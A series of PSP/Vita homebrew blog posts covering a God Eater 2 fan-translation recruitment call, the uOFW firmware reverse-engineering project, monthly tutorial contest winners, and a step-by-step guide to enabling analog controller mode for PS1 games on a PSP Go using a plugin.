• Sign~Fake NP Expert
• Lamecraft

Also check our huge list of emulators for your PSP/Vita, and our top 50 Vita / PSP homebrews in 2014!

Check out our huge emulators database for your Vita and your PSP!

What would you recommend to fellow PSP/Vita owners? Feel free to add your homebrews in our database and vote for your favorite ones!

It seems Coldbird’s finally back with a new project. Coldbird stated that he will be recruiting a new team for translating God Eater 2 on his blog. If you’re a reliable Japanese to English translator please let him know by commenting on his blog post. He has stated that the technical work for dumping / reinserting data has already started, and he’s  got a working dumper.

This is what he wrote:

It’s time for a new project.

No, I’m not abandoning Fragment for this or any of my other currently on-going projects.
But this one just irks me, I loved it when God Eater Burst got a stateside (and later european) release and sucked it up like candy.

Well, this time around we don’t seem to be as lucky with an English localization, so I am officially starting a God Eater 2 translation here.

The technical work for dumping / reinserting data has already started, and a working dumper already exists (took me a few hours to get all the code required for it going).
Like with every other project that involves Japanese to English localization, I am at a loss when it comes to the actual translation, but given the big success of this titles predecessor I’m positive that we will be able to find one or two people willing to provide their help as translators.

If you feel like being part of a project like this, drop a comment with some reference material and your contact information, I will be getting in touch with you.

I will keep you guys posted, as usual.

Greetings, Coldbird

So how many of you here are god eater fans? Knowing that God eater one was a success, I certainly cant wait for this! If you’re a fan of the Monster hunter series for PSP then there’s no doubt that you’d love this game

Note from Wololo: For those of you who joined the scene too recently to remember: Coldbird is the hacker/developer who created, among other things, Pro CFW and ARK with fellow dev Virtuous Flame

I’m sure some of you still remember uOFW (Unofficial Official Firmware)  – a project that plans to fully reverse engineer the PSP 6.60 OFW Modules. While reverse engineering the whole firmware seems unrealistic, a significant part of the low-level modules is what they’re aiming for. Obviously this is a very long term process so don’t expect this to pop up just yet. Anyways, uOFW needs your support, and if possible they can use some contributors as well. You’ve probably noticed they’ve been pretty quiet for a while on their github, but hopefully some more support here can change this. Developers, just so you know, in order to contribute you need to have an advanced knowledge in MIPS ASM and C.

So like what can this do?

The point of this project is simply put as:

• To understand how the PSP and the PSP firmware works.
• To enhance our knowledge on the console.
• To be able to build a ‘complete’ custom firmware. By complete I mean an alternative firmware that can be modified freely.
• To be able to build other possible low-level hacks. This is still undetermined, but possible.

Reverse of chnnlsv by qwikrazor87 – _kirk7 – Address 0x00001418

So like what’s the difference from a Custom firmware and this ‘alternative firmware’?

Well to answer this, a CFW is a modified official firmware. CFW Developers only understood some parts of the official firmware and replaced them with modified modules, depending on what was required. With uOFW, developers are aiming to fully understand the official firmware. With that said, developers may build firmwares that are free of rights and can open your PSP to more opportunities. This isn’t a part of uOFW’s goal, but something developers can possibly do with uOFW once it’s made more progress.

What are the benefits?

• Well it’s possible to get a better understanding of how eCFW works for the Vita.
• It leads to better progress in emulators. For example, the audio.prx module reverse engineering was essential for emulators like PCSP. uOFW has also been used as reference for PPSSPP a couple times. It has also been used as a reference for kernel related projects.
• More low level development.

There are many possibilities that can be dissected from this project. Many interesting possibilities, such as being able to build a new firmware from scratch or even developing more kernel related projects. While the objective tends to be too high to be realistic, they are still possible but undetermined. This is pretty much ‘the last thing’ left to do on the PSP, and without doubt one of the aspiring projects the PSP scene has ever had. These are the developers so far who have been contributing to this project so far. You should recognize most of these guys, as they’re well known in the PSP/Vita scene.

• artart78
• Omega2058
• libcg
• qwikrazor87
• Felix-Dev
• Kern—

The following modules are being worked on:

• 0x00008768 modulemgr (Felix, noname120)
• 0x00001C84 dmacman.prx (Kern–)
• 0x00001B44 idstorage.prx (libcg)
• 0x00000524 mlnbridge_msapp.prx (xerpi)
• 0x00000674  http_storage.prx (Joel16 – me)

You can have a look at their current module status on this page.

Hopefully my name might make it on the list pretty soon, as I myself have been hitting the docs so that I can get started with this, and I’d encourage any other developer or enthusiast to join us. Feel free to have a look at their reverse engineering guide, but like I said earlier you need to have a strong C, MIPS and ASM knowledge. Those that are interested and willing to contribute, you can contact the team via IRC on the FreeNode server (irc.freenode.net) by joining the channel #uofw, or via e-mail at the team’s common email address uofwteam@gmail.com

Woops, I’m a bit late on this one, but here we go: every month we organize a tutorial contest for our 5 favorite devices: the PS Vita, the PS4, the 3DS, the PSP, and the PS3.

Each month, the authors of the best tutorial for each category get a $10 PSN code each, for a total of $50. Additionally, the mods and myself choose our favorite tutorial, and award a bonus $10.

This month we got several entries on the Vita. The PS3 and PS4 contests got no love, while PSP and 3DS got one entry each, automatically winning $10 for their creators. On the Vita, Arikdefrasia’s guide on How to Install Tn-X on the Tekken 2 Exploit got the most votes, while bodega gets the mods’ award this month with his tutorial on extracting __sce_ebootpbp and __sce_menuinfo from a pbp dump

PSP Owners can check Reprep’s extremely useful entry on enabling Analog mode for PS1 games on the PSP, and if you own a 3DS, check out memeoverlord’s How to play GBC roms on 3DS.

Congratulations to all 4 winners. PSN Codes have been sent and should have reached you by now.

It’s also already time to submit your tutorials for April’s contest! Here again, there’s a total of $60 in PSN codes to win. Your tutorials don’t have to be extremely technical, as long as they are original and directly related to one of the 5 consoles mentioned above. You can see detailed rules and how to participate here: Monthly tutorial contest.

Have fun, and good luck to everyone!

Note from Wololo: This tutorial was initially published by /Talk member reprep, as part of our monthly tutorial contest. Reprep won the best PSP tutorial prize in March (a $10 PSN Code) for his entry. You can find the original post here.

In this tutorial, I will tell you how to enable Analog Controller Mode on PSP PS1 emulator (PSP POPS). Unfortunately it is only for PSP GO right now. It will use a plugin which essentially maps the Dualshock 3 buttons/sticks to PSP buttons/stick even without being connected to a Dualshock 3. So we can enjoy the true analog motion via PSP’s analog stick/nub. As far as I know, this is the first time we can use analog controller mode via PSP’s built-in stick.

You will need a PSP GO capable of running POPS plugins (any modern CFW is fine) and a Dualshock 3 (DS3 is needed one time only during the setup process, you won’t need it after that) Also remember this plugin will work only on PS1 games which support Analog controller mode. Games released in 98 and after mostly support analog controller mode.

1. Pair your Dualshock 3 to your PSP GO. It is very simple if you have a PS3, just follow this.  If you don’t have a PS3, follow this wonderful tutorial by suloku.
2. Connect your Dualshock 3 to your PSP GO
3. Boot a Playstation 1 game
4. Press Home button in game, choose Controller Settings.
5. Under the PSP System Controller Settings, set Assign Controller Ports to “Controller 1″, set Assign Buttons to “Custom” and remap the controllers as you would like to use. Do not remap anything to analog stick as it will be already remapped to PSP Go’s analog nub by the plugin. Refer to the images below for a button remapping example.
6. Under the PS3 System Controller Settings, set Assign Controller Ports to “Controller 1″
7. Under the PS3 System Controller Settings, there is a Switch Analog Mode setting. Set it to Digital. I know it sounds confusing but sony messed it up. If you choose Digital, it enables Analog Mode and vice versa. It even warns you that some games do not support Analog Mode when you choose Digital Mode. You can also turn the vibration off while you are at it, since your PSP can’t vibrate anyways and some games are incompatible with it even though they support analog mode. (Crash Bandicoot 2 is one of them)
8. You can disconnect the DS3 now, exit the game, get the plugin from here and enable it for POPS mode and restart the game.
   To enable the plugin, copy it to ef0:/SEPLUGINS directory. ef0 means the main storage of your PSP GO (not the M2 memory stick). Create the SEPLUGINS directory if it is not already there. Then add this without quotes: “ef0:/SEPLUGINS/POPSAnalog.prx 1″ to the last line of your ef0:/SEPLUGINS/POPS.TXT . Again if there isn’t a POPS.TXT, just create it. Also you have to be sure POPS plugins are enabled in your CFW Menu.
9. Enjoy your analog controller on PS1 games. Racing games (Gran Turismo, I am looking at you), 3d platformers (Who said Spyro?), Metal Gear Solid and many more games will benefit from this.

If you want to use your Dualshock 3, just disable the plugin. You cannot use Dualshock 3 while this plugin is enabled.

Have fun, here is a small video of me demonstrating the plugin, look at the variable walking/running speed of Crash which is impossible on Digital Mode and this is without a DS3 connected. (wireless switch off and there is no blue led)

This plugin is based on DS3 Remapper plugin, though now it has a totally different purpose. visit this thread for the DS3Remapper plugin and the source code.

Note for Future Development:

It is totally possible to remove the one time Dualshock 3 need by either;

1. Decrypting the CONFIG.BIN (POPS settings are stored here) file in the savegame folder of the PS1 game and changing the Switch Analog Mode setting via that file.
2. Patching the function to trick PSP Go into thinking a Dualshock 3 is connected so that it will let you change PS3 Controller Settings. You can change these settings with PSP Pad but unfortunately they are disabled unless a DS3 is connected.

I Have No Idea What You Are Talking About:

First Playstation controller has only digital input. After some time, analog controllers with dual analog sticks were introduced, first Dual Analog Controller and immediately following that DualShock controller. They have an analog mode button which would change between digital and analog controller modes. DualShock also has the vibration feature.

As implied, in analog mode, you could use analog sticks as long as the game supports them. Generally it was only left analog stick. Right analog stick was supported only in few games.

Old games before the introduction of the analog controllers supported only digital mode, so the analog mode button was used to fall back to digital mode when needed.

Analog controllers on Playstation can hold 8 bit value for X and Y axis. It means it can be between 0-255 for X and 0-255 for Y where it is only 1 bit (pressed or not pressed) for digital setup. For example in Spyro games, the dragon can walk in 4 step speed in analog mode depending on how much you apply force to the analog stick. very slow, slow, normal, run. In digital mode, it is only stop or go. Metal Gear Solid, Crash, Spyro series, Gran Turismo, other racing games and nearly every game released after 1998 use analog motion for increased sensitivity.

Even though the PSP has an analog stick, it only supports digital mode in POPS. You can assign d-pad buttons to analog stick (Assign buttons type 4) , but the motion isn’t in fact analog. It is just on or off like the d-pad.

Playstation Vita, Playstation TV and Playstation 3 don’t have this problem as you can select digital or analog controller mode through the settings on PS1 games.

There is one exception where PSP supports analog controller mode on POPS. If you connect Dualshock 3 to your PSP Go, it is possible to activate the analog mode on your DS3. Unfortunately this only applies to DS3 and not to the built-in analog joystick of PSP. This plugin aims to cure this and “steals” the analog controller mode of Dualshock 3 and maps it to the stick of PSP Go letting you enjoy the true analog motion.

Here are some threads that describe the problem this plugin solves.
http://www.neogaf.com/forum/showthread.php?t=397984.
http://www.pspmod.com/forums/psp-modification/80122-analog-stick-ps1-games.html
http://gbatemp.net/threads/any-way-to-get-real-analog-control-for-psx-games.127995

Want a chance to win a $10 PSN Code and be featured on the blog with your own guide? Join our monthly tutorial contest here!

The post How to enable Analog Controller Mode on PSP PS1 emulator appeared first on Wololo.net.